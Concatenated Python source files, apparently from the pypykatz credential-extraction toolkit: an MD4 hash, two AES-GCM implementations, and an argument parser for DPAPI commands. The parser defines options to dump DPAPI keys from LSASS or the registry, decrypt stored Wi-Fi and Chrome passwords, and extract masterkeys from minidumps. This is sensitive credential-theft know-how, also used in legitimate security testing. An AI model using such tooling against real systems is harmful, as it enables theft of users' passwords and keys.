44 | # Expected: 501af1ef4b68495b5b7e37b15b4cda68 | |
45 | # Actual: 501af1ef4b68495b5b7e37b15b4cda68 | |
46 | # | |
47 | import struct | |
48 | ||
49 | ||
50 | class MD4: | |
51 | """An implementation of the MD4 hash algorithm.""" | |
52 | ||
53 | width = 32 | |
54 | mask = 0xFFFFFFFF | |
55 | ||
56 | # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! | |
57 | h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] | |
58 | ||
59 | def __init__(self, msg=None): | |
60 | """:param ByteString msg: The message to be hashed.""" | |
61 | if msg is None: | |
62 | msg = b"" | |
63 | ||
64 | self.msg = msg | |
65 | ||
66 | # Pre-processing: Total length is a multiple of 512 bits. | |
67 | ml = len(msg) * 8 | |
68 | msg += b"\x80" | |
69 | msg += b"\x00" * (-(len(msg) + 8) % 64) | |
70 | msg += struct.pack("<Q", ml) | |
71 | ||
72 | # Process the message in successive 512-bit chunks. | |
73 | self._process([msg[i : i + 64] for i in range(0, len(msg), 64)]) | |
74 | ||
75 | def __repr__(self): | |
76 | if self.msg: | |
77 | return f"{self.__class__.__name__}({self.msg:s})" | |
78 | return f"{self.__class__.__name__}()" | |
79 | ||
80 | def __str__(self): | |
81 | return self.hexdigest() | |
82 | ||
83 | def __eq__(self, other): | |
84 | return self.h == other.h | |
85 | ||
86 | def bytes(self): | |
87 | """:return: The final hash value as a `bytes` object.""" | |
88 | return struct.pack("<4L", *self.h) | |
89 | ||
90 | def hexbytes(self): | |
91 | """:return: The final hash value as hexbytes.""" | |
92 | return self.hexdigest().encode | |
93 | ||
94 | def hexdigest(self): | |
95 | """:return: The final hash value as a hexstring.""" | |
96 | return "".join(f"{value:02x}" for value in self.bytes()) | |
97 | ||
98 | def digest(self): | |
99 | return self.bytes() | |
100 | ||
101 | def _process(self, chunks): | |
102 | for chunk in chunks: | |
103 | X, h = list(struct.unpack("<16I", chunk)), self.h.copy() | |
104 | ||
105 | # Round 1. | |
106 | Xi = [3, 7, 11, 19] | |
107 | for n in range(16): | |
108 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
109 | K, S = n, Xi[n % 4] | |
110 | hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K] | |
111 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
112 | ||
113 | # Round 2. | |
114 | Xi = [3, 5, 9, 13] | |
115 | for n in range(16): | |
116 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
117 | K, S = n % 4 * 4 + n // 4, Xi[n % 4] | |
118 | hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999 | |
119 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
120 | ||
121 | # Round 3. | |
122 | Xi = [3, 9, 11, 15] | |
123 | Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15] | |
124 | for n in range(16): | |
125 | i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4)) | |
126 | K, S = Ki[n], Xi[n % 4] | |
127 | hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1 | |
128 | h[i] = MD4.lrot(hn & MD4.mask, S) | |
129 | ||
130 | self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)] | |
131 | ||
132 | @staticmethod | |
133 | def F(x, y, z): | |
134 | return (x & y) | (~x & z) | |
135 | ||
136 | @staticmethod | |
137 | def G(x, y, z): | |
138 | return (x & y) | (x & z) | (y & z) | |
139 | ||
140 | @staticmethod | |
141 | def H(x, y, z): | |
142 | return x ^ y ^ z | |
143 | ||
144 | @staticmethod | |
145 | def lrot(value, n): | |
146 | lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n) | |
147 | return lbits | rbits | |
148 | ||
149 | ||
150 | def main(): | |
151 | # Import is intentionally delayed. | |
152 | import sys | |
153 | ||
154 | if len(sys.argv) > 1: | |
155 | messages = [msg.encode() for msg in sys.argv[1:]] | |
156 | for message in messages: | |
157 | print(MD4(message).hexdigest()) | |
158 | else: | |
159 | messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"] | |
160 | known_hashes = [ | |
161 | "31d6cfe0d16ae931b73c59d7e0c089c0", | |
162 | "1bee69a46ba811185c194762abaeae90", | |
163 | "501af1ef4b68495b5b7e37b15b4cda68", | |
164 | ] | |
165 | ||
166 | print("Testing the MD4 class.") | |
167 | print() | |
168 | ||
169 | for message, expected in zip(messages, known_hashes): | |
170 | print("Message: ", message) | |
171 | print("Expected:", expected) | |
172 | print("Actual: ", MD4(message).hexdigest()) | |
173 | print() | |
174 | ||
175 | ||
176 | if __name__ == "__main__": | |
177 | try: | |
178 | main() | |
179 | except KeyboardInterrupt: | |
180 | pass |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | ||
23 | SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer. | |
24 | I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library. | |
25 | """ | |
26 | ||
27 | from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter | |
28 | from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE | |
29 | ||
30 | ||
31 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
32 | # Please note the MSB is x0 and LSB is x127 | |
33 | def gf_2_128_mul(x, y): | |
34 | assert x < (1 << 128) | |
35 | assert y < (1 << 128) | |
36 | res = 0 | |
37 | for i in range(127, -1, -1): | |
38 | res ^= x * ((y >> i) & 1) # branchless | |
39 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
40 | assert res < 1 << 128 | |
41 | return res | |
42 | ||
43 | ||
44 | class InvalidInputException(Exception): | |
45 | def __init__(self, msg): | |
46 | self.msg = msg | |
47 | ||
48 | def __str__(self): | |
49 | return str(self.msg) | |
50 | ||
51 | ||
52 | class InvalidTagException(Exception): | |
53 | def __str__(self): | |
54 | return 'The authenticaiton tag is invalid.' | |
55 | ||
56 | ||
57 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
58 | class AES_GCM: | |
59 | def __init__(self, master_key): | |
60 | self.change_key(master_key) | |
61 | ||
62 | def change_key(self, master_key): | |
63 | #if len(master_key) != 16: | |
64 | # raise InvalidInputException('Master key should be 128-bit') | |
65 | ||
66 | self.__master_key = master_key | |
67 | self.__aes_ecb = AESModeOfOperationECB(self.__master_key) | |
68 | self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False) | |
69 | ||
70 | # precompute the table for multiplication in finite field | |
71 | table = [] # for 8-bit | |
72 | for i in range(16): | |
73 | row = [] | |
74 | for j in range(256): | |
75 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
76 | table.append(tuple(row)) | |
77 | self.__pre_table = tuple(table) | |
78 | ||
79 | self.prev_init_value = None # reset | |
80 | ||
81 | def __times_auth_key(self, val): | |
82 | res = 0 | |
83 | for i in range(16): | |
84 | res ^= self.__pre_table[i][val & 0xFF] | |
85 | val >>= 8 | |
86 | return res | |
87 | ||
88 | def __ghash(self, aad, txt): | |
89 | len_aad = len(aad) | |
90 | len_txt = len(txt) | |
91 | ||
92 | # padding | |
93 | if 0 == len_aad % 16: | |
94 | data = aad | |
95 | else: | |
96 | data = aad + b'\x00' * (16 - len_aad % 16) | |
97 | if 0 == len_txt % 16: | |
98 | data += txt | |
99 | else: | |
100 | data += txt + b'\x00' * (16 - len_txt % 16) | |
101 | ||
102 | tag = 0 | |
103 | assert len(data) % 16 == 0 | |
104 | for i in range(len(data) // 16): | |
105 | tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False) | |
106 | tag = self.__times_auth_key(tag) | |
107 | # print 'X\t', hex(tag) | |
108 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
109 | tag = self.__times_auth_key(tag) | |
110 | ||
111 | return tag | |
112 | ||
113 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
114 | if len(init_value) != 12: | |
115 | raise InvalidInputException('IV should be 96-bit') | |
116 | # a naive checking for IV reuse | |
117 | if init_value == self.prev_init_value: | |
118 | raise InvalidInputException('IV must not be reused!') | |
119 | self.prev_init_value = init_value | |
120 | ||
121 | len_plaintext = len(plaintext) | |
122 | ||
123 | if len_plaintext > 0: | |
124 | ctrval_init = init_value + b'\x00'*4 | |
125 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
126 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
127 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
128 | ||
129 | if 0 != len_plaintext % 16: | |
130 | padded_plaintext = plaintext + \ | |
131 | b'\x00' * (16 - len_plaintext % 16) | |
132 | else: | |
133 | padded_plaintext = plaintext | |
134 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
135 | ||
136 | else: | |
137 | ciphertext = b'' | |
138 | ||
139 | auth_tag = self.__ghash(auth_data, ciphertext) | |
140 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
141 | iv_int = (iv_int << 32) | 1 | |
142 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
143 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
144 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
145 | ||
146 | auth_tag ^= iv_int_enc | |
147 | ||
148 | assert auth_tag < (1 << 128) | |
149 | return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False) | |
150 | ||
151 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
152 | if len(init_value) != 12: | |
153 | raise InvalidInputException('IV should be 96-bit') | |
154 | if len(auth_tag) != 16: | |
155 | raise InvalidInputException('Tag should be 128-bit') | |
156 | ||
157 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
158 | iv_int = (iv_int << 32) | 1 | |
159 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
160 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
161 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
162 | auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc | |
163 | auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False) | |
164 | if auth_tag != auth_tag_verify: | |
165 | raise InvalidTagException | |
166 | ||
167 | len_ciphertext = len(ciphertext) | |
168 | if len_ciphertext > 0: | |
169 | ctrval_init = init_value + b'\x00'*4 | |
170 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
171 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
172 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308') | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = bytes.fromhex('cafebabefacedbaddecaf888') | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
210 | ||
211 | print('plaintext:', plaintext.hex()) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', encrypted.hex()) | |
216 | print('auth tag: ', new_tag.hex()) | |
217 | ||
218 | assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091') | |
219 | assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
220 | ||
221 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
222 | print('decrypted:', decrypted.hex()) | |
223 | ||
224 | ||
225 | #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False) | |
226 | #try: | |
227 | # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data) | |
228 | #except InvalidTagException: | |
229 | ||
230 |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | """ | |
23 | ||
24 | from Crypto.Cipher import AES | |
25 | from Crypto.Util import Counter | |
26 | from Crypto.Util.number import long_to_bytes, bytes_to_long | |
27 | ||
28 | ||
29 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
30 | # Please note the MSB is x0 and LSB is x127 | |
31 | def gf_2_128_mul(x, y): | |
32 | assert x < (1 << 128) | |
33 | assert y < (1 << 128) | |
34 | res = 0 | |
35 | for i in range(127, -1, -1): | |
36 | res ^= x * ((y >> i) & 1) # branchless | |
37 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
38 | assert res < 1 << 128 | |
39 | return res | |
40 | ||
41 | ||
42 | class InvalidInputException(Exception): | |
43 | def __init__(self, msg): | |
44 | self.msg = msg | |
45 | ||
46 | def __str__(self): | |
47 | return str(self.msg) | |
48 | ||
49 | ||
50 | class InvalidTagException(Exception): | |
51 | def __str__(self): | |
52 | return 'The authenticaiton tag is invalid.' | |
53 | ||
54 | ||
55 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
56 | class AES_GCM: | |
57 | def __init__(self, master_key): | |
58 | self.change_key(master_key) | |
59 | ||
60 | def change_key(self, master_key): | |
61 | if master_key >= (1 << 128): | |
62 | raise InvalidInputException('Master key should be 128-bit') | |
63 | ||
64 | self.__master_key = long_to_bytes(master_key, 16) | |
65 | self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB) | |
66 | self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16)) | |
67 | ||
68 | # precompute the table for multiplication in finite field | |
69 | table = [] # for 8-bit | |
70 | for i in range(16): | |
71 | row = [] | |
72 | for j in range(256): | |
73 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
74 | table.append(tuple(row)) | |
75 | self.__pre_table = tuple(table) | |
76 | ||
77 | self.prev_init_value = None # reset | |
78 | ||
79 | def __times_auth_key(self, val): | |
80 | res = 0 | |
81 | for i in range(16): | |
82 | res ^= self.__pre_table[i][val & 0xFF] | |
83 | val >>= 8 | |
84 | return res | |
85 | ||
86 | def __ghash(self, aad, txt): | |
87 | len_aad = len(aad) | |
88 | len_txt = len(txt) | |
89 | ||
90 | # padding | |
91 | if 0 == len_aad % 16: | |
92 | data = aad | |
93 | else: | |
94 | data = aad + b'\x00' * (16 - len_aad % 16) | |
95 | if 0 == len_txt % 16: | |
96 | data += txt | |
97 | else: | |
98 | data += txt + b'\x00' * (16 - len_txt % 16) | |
99 | ||
100 | tag = 0 | |
101 | assert len(data) % 16 == 0 | |
102 | for i in range(len(data) // 16): | |
103 | tag ^= bytes_to_long(data[i * 16: (i + 1) * 16]) | |
104 | tag = self.__times_auth_key(tag) | |
105 | # print 'X\t', hex(tag) | |
106 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
107 | tag = self.__times_auth_key(tag) | |
108 | ||
109 | return tag | |
110 | ||
111 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
112 | if init_value >= (1 << 96): | |
113 | raise InvalidInputException('IV should be 96-bit') | |
114 | # a naive checking for IV reuse | |
115 | if init_value == self.prev_init_value: | |
116 | raise InvalidInputException('IV must not be reused!') | |
117 | self.prev_init_value = init_value | |
118 | ||
119 | len_plaintext = len(plaintext) | |
120 | # len_auth_data = len(auth_data) | |
121 | ||
122 | if len_plaintext > 0: | |
123 | counter = Counter.new( | |
124 | nbits=32, | |
125 | prefix=long_to_bytes(init_value, 12), | |
126 | initial_value=2, # notice this | |
127 | allow_wraparound=False) | |
128 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
129 | ||
130 | if 0 != len_plaintext % 16: | |
131 | padded_plaintext = plaintext + \ | |
132 | b'\x00' * (16 - len_plaintext % 16) | |
133 | else: | |
134 | padded_plaintext = plaintext | |
135 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
136 | ||
137 | else: | |
138 | ciphertext = b'' | |
139 | ||
140 | auth_tag = self.__ghash(auth_data, ciphertext) | |
141 | print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex()) | |
142 | # print 'GHASH\t', hex(auth_tag) | |
143 | auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt( | |
144 | long_to_bytes((init_value << 32) | 1, 16))) | |
145 | ||
146 | # assert len(ciphertext) == len(plaintext) | |
147 | assert auth_tag < (1 << 128) | |
148 | return ciphertext, auth_tag | |
149 | ||
150 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
151 | if init_value >= (1 << 96): | |
152 | raise InvalidInputException('IV should be 96-bit') | |
153 | if auth_tag >= (1 << 128): | |
154 | raise InvalidInputException('Tag should be 128-bit') | |
155 | ||
156 | print(long_to_bytes((init_value << 32) | 1, 16)) | |
157 | print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16))) | |
158 | print('ghash %s' % self.__ghash(auth_data, ciphertext)) | |
159 | print('') | |
160 | if auth_tag != self.__ghash(auth_data, ciphertext) ^ \ | |
161 | bytes_to_long(self.__aes_ecb.encrypt( | |
162 | long_to_bytes((init_value << 32) | 1, 16))): | |
163 | raise InvalidTagException | |
164 | ||
165 | len_ciphertext = len(ciphertext) | |
166 | if len_ciphertext > 0: | |
167 | counter = Counter.new( | |
168 | nbits=32, | |
169 | prefix=long_to_bytes(init_value, 12), | |
170 | initial_value=2, | |
171 | allow_wraparound=True) | |
172 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = 0xfeffe9928665731c6d6a8f9467308308 | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = 0xcafebabefacedbaddecaf888 | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47 | |
210 | ||
211 | print('plaintext:', hex(bytes_to_long(plaintext))) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', hex(bytes_to_long(encrypted))) | |
216 | print('auth tag: ', hex(new_tag)) | |
217 | ||
218 | try: | |
219 | decrypted = my_gcm.decrypt(init_value, encrypted, | |
220 | new_tag + 1, auth_data) | |
221 | except InvalidTagException: | |
222 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
223 | print('decrypted:', hex(bytes_to_long(decrypted))) | |
224 |
0 | from pypykatz.commons.common import UniversalEncoder, hexdump | |
1 | import argparse | |
2 | import platform | |
3 | ||
4 | ||
5 | class DPAPICMDHelper: | |
6 | def __init__(self): | |
7 | self.live_keywords = ['dpapi'] | |
8 | self.keywords = ['dpapi'] | |
9 | ||
10 | def add_args(self, parser, live_parser): | |
11 | ||
12 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
13 | live_dpapi_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE DPAPI commands work under the current user context. Except: keys, wifi, chrome') | |
14 | live_dpapi_subparsers.required = True | |
15 | live_dpapi_subparsers.dest = 'livedpapicommand' | |
16 | ||
17 | live_keys_parser = live_dpapi_subparsers.add_parser('keys', help = '[ADMIN ONLY] Dump all local DPAPI related keys. Aggressively. Recommended: use file output. !This takes a while!') | |
18 | live_keys_parser.add_argument('--method', choices = ['lsass', 'registry', 'all'], default = 'all', help= 'Where to look for the keys') | |
19 | live_keys_parser.add_argument('-o', '--outfile', help= 'Output file base name') | |
20 | ||
21 | live_vpol_parser = live_dpapi_subparsers.add_parser('vpol', help = 'Decrypting VPOL file with current user context') | |
22 | live_vpol_parser.add_argument('vpolfile', help= 'VPOL file to decrypt') | |
23 | ||
24 | live_vcred_parser = live_dpapi_subparsers.add_parser('vcred', help = 'Decrypt VCRED') | |
25 | live_vcred_parser.add_argument('vpolfile', help= 'VPOL file to use to decrypt the VCRED file') | |
26 | live_vcred_parser.add_argument('vcredfile', help= 'VCRED file to decrypt') | |
27 | ||
28 | live_cred_parser = live_dpapi_subparsers.add_parser('cred', help = 'Decrypt CRED file') | |
29 | live_cred_parser.add_argument('credfile', help= 'CRED file to decrypt') | |
30 | ||
31 | ||
32 | live_blob_parser = live_dpapi_subparsers.add_parser('blob', help = 'Decrypt raw dpapi blob hex') | |
33 | live_blob_parser.add_argument('blob', help= 'blob string in hex format') | |
34 | ||
35 | live_securestring_parser = live_dpapi_subparsers.add_parser('securestring', help = 'Decrypt securestring hex') | |
36 | live_securestring_parser.add_argument('securestring', help= 'securestring in hex format') | |
37 | ||
38 | live_blobfile_parser = live_dpapi_subparsers.add_parser('blobfile', help = '') | |
39 | live_blobfile_parser.add_argument('blobfile', help= 'Decrypt raw dpapi blob in file') | |
40 | ||
41 | live_securestringfile_parser = live_dpapi_subparsers.add_parser('securestringfile', help = '') | |
42 | live_securestringfile_parser.add_argument('securestringfile', help= 'Decrypt securestring from file') | |
43 | ||
44 | live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords') | |
45 | live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.') | |
46 | ||
47 | ||
48 | live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser]) | |
49 | ||
50 | ||
51 | #offline | |
52 | prekey_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
53 | dpapi_prekey_subparsers = prekey_subcommand_parser.add_subparsers(help = 'prekey_command') | |
54 | dpapi_prekey_subparsers.required = True | |
55 | dpapi_prekey_subparsers.dest = 'prekey_command' | |
56 | ||
57 | prekey_passwd = dpapi_prekey_subparsers.add_parser('password', help = 'Generate prekeys from password') | |
58 | prekey_passwd.add_argument('sid', help='SID of the user') | |
59 | prekey_passwd.add_argument('password', help='Password of the user') | |
60 | prekey_passwd.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
61 | ||
62 | prekey_nt = dpapi_prekey_subparsers.add_parser('nt', help = 'Generate prekeys from NT hash') | |
63 | prekey_nt.add_argument('sid', help='SID of the user') | |
64 | prekey_nt.add_argument('nthash', help='NT hash of the user') | |
65 | prekey_nt.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
66 | ||
67 | prekey_registry = dpapi_prekey_subparsers.add_parser('registry', help = 'Generate prekeys from registry secrets') | |
68 | prekey_registry.add_argument('system', help='SYSTEM hive') | |
69 | prekey_registry.add_argument('sam', help='SAM hive') | |
70 | prekey_registry.add_argument('security', help='SECURITY hive') | |
71 | prekey_registry.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
72 | ||
73 | ||
74 | dpapi_group = parser.add_parser('dpapi', help='DPAPI (offline) related commands') | |
75 | dpapi_subparsers = dpapi_group.add_subparsers() | |
76 | dpapi_subparsers.required = True | |
77 | dpapi_subparsers.dest = 'dapi_module' | |
78 | ||
79 | dpapi_subparsers.add_parser('prekey', help = 'Prekey generation', parents=[prekey_subcommand_parser]) | |
80 | ||
81 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys and prekeys from minidump file') | |
82 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') | |
